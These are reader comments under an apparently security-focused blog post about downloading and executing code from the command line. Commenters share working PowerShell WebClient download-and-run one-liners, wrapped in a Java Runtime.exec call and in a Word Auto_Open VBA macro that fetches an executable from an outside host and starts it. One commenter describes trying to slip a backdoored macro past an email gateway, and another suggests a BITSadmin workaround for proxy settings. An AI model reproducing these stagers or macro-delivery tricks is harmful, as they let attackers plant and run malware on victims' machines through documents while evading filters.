11 comments on “Ways to Download and Execute code via the Commandline

  1. Hey man, I find that I keep browsing your site hehe. For the BITSadmin method you need to specify the full path the mess.exe => c:\mess.exe otherwise it won’t execute on my system. Great stuff as usual!!

  2. any way to get these to work in a java script?
    something like this “Runtime.getRuntime().exec(“PowerShell (New-Object System.Net.WebClient).DownloadFile(‘http://www.rarlab.com/rar/wrar420cro.exe’,’mess.exe’);Start-Process ‘mess.exe'”);

  3. Elo!

    I try it run word macro with this:

    Sub Auto_Open()
    Dim x
    x = Shell(“POWERSHELL.EXE ” & “(New-Object System.Net.WebClient).DownloadFile(‘http://www.greyhathacker.net/tools/messbox.exe’,’mess.exe’);Start-Process ‘mess.exe'”)

    End Sub

    but, when i open word document and accept macro nothing happend. Only, when i click manually run macro in view panel macro runing ok and message box are show..

    what i do wrong?

  4. I can’t say but I don’t think you’re doing anything wrong. I haven’t played with macros for years but I think I can recall Microsoft removing the ability to autorun macros. If you create say a button in your document and then press the button is should work but I guess that defeats the object of running automatically.

  5. Incredibly useful for what i’ve been pentesting this weekend, trying to backdoor a macro and get it through an email gateway. Can get the macro through, PS gets caught, but i reckon a chained BITS command would work, but can I get BITS proxy settings right, can i hell!

  6. I tested it a bit but couldn’t get it to work in one command line with its /setproxysettings argument. You might need to create a job first and then /transfer to download the file, i.e. need to run bitsadmin twice.

Leave a Reply

Your email address will not be published. Required fields are marked *